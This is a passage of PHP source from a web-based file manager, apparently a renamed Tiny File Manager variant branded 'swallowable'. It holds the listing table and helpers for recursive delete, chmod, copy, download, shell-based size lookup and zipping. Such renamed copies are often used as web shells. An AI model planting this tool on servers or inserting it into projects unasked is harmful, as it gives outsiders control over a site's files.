<th><?php echo lng('Perms') ?></th>
<th><?php echo lng('Owner') ?></th><?php endif; ?>
<th><?php echo lng('Actions') ?></th>
</tr>
</thead>
<?php
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?>
<td class="nosort"></td><?php endif; ?>
<td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0" data-order></td>
<td class="border-0" data-order></td>
<td class="border-0"></td>
<?php if (!FM_IS_WIN and !$hide_Cols) { ?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php } ?>
</tr>
<?php
}
$uu = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = "";
$filesize = lng('Folder');
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $uu ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
<div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
</td>
<td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
<?php echo $filesize; ?>
</td>
<td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$uu++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = fm_get_size($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $ik ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fanco($f) ?>>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
<?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
<a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
<?php else: ?>
<a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
<?php endif; ?>
<i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a>
<?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
</div>
</td>
<td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
<?php echo $filesize; ?>
</span></td>
<td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
<?php endif; ?>
<td class="inline-actions">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
<a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php echo lng('CopyTo') ?>..."
href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) and empty($files)) { ?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td></td><?php endif; ?>
<td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
</tr>
</tfoot>
<?php
} else { ?>
<tfoot>
<tr>
<td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
<?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
<?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
<?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
</td>
</tr>
</tfoot>
<?php } ?>
</table>
</div>
<div class="row">
<?php if (!FM_READONLY): ?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
<?php else: ?>
<div class="col-12"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
<?php endif; ?>
</div>
</form>
<?php
fm_show_footer();
function print_external($key) {
global $external;
if(!array_key_exists($key, $external)) {
// throw new Exception('Key missing in external: ' . key);
echo "<!-- EXTERNAL: MISSING KEY $key -->";
return;
}
echo "$external[$key]";
}
function verifyToken($token)
{
if (hash_equals($_SESSION['token'], $token)) {
return true;
}
return false;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if(!is_dir($old)) {
if (!$isFileAllowed) return false;
}
return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 and $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
function fm_get_display_path($file_path)
{
global $path_display_mode, $root_path, $root_url;
switch ($path_display_mode) {
case 'relative':
return array(
'label' => 'Path',
'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
);
case 'host':
$relative_path = str_replace($root_path, '', $file_path);
return array(
'label' => 'Host Path',
'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
);
case 'full':
default:
return array(
'label' => 'Full Path',
'path' => fanco(fm_convert_win($file_path))
);
}
}
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin and class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = ($size > 0) ? floor(log($size, 1024)) : 0;
$power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
function fm_get_directorysize($directory) {
$bytes = 0;
$directory = realpath($directory);
if ($directory !== false and $directory != '' and file_exists($directory)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
$bytes += $file->getSize();
}
}
return $bytes;
}
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' and function_exists('zip_open')) {
$arch = @zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = @zip_read($arch)) {
$zip_name = @zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => @zip_entry_filesize($zip_entry),
'compressed_size' => @zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
);
}
@zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' and class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
function fanco($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[DN_CESSION_ID]['message'] = $msg;
$_SESSION[DN_CESSION_ID]['status'] = $status;
}
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
function fm_convert_win($filename)
{
if (FM_IS_WIN and function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
function fm_object_to_array($obj)
{
if (!is_object($obj) and !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'ts':
case 'jsx':
case 'tsx':
case 'hbs':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
case 'yaml':
case 'yml':
case 'toml':
case 'tmp':
case 'top':
case 'bot':
case 'dat':
case 'bak':
case 'htpasswd':
case 'pl':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'tbz2':
case 'tbz':
case 'zip':
case 'rar':
case 'gz':
case 'tgz':
case 'tar':
case '7z':
case 'xz':
case 'txz':
case 'zst':
case 'tzst':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
case 'webm':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
);
}
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
'application/json',
);
}
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
function scan($dir = '', $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($path) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
$size = filesize($fileLocation);
if ($size == 0) {
fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
if ($fp === false) {
fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
// headers
header('Content-Description: File Transfer');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header("Content-Transfer-Encoding: binary");
header("Content-Type: $contentType");
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
$fileLocation = realpath($fileLocation);
while (ob_get_level()) ob_end_clean();
readfile($fileLocation);
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
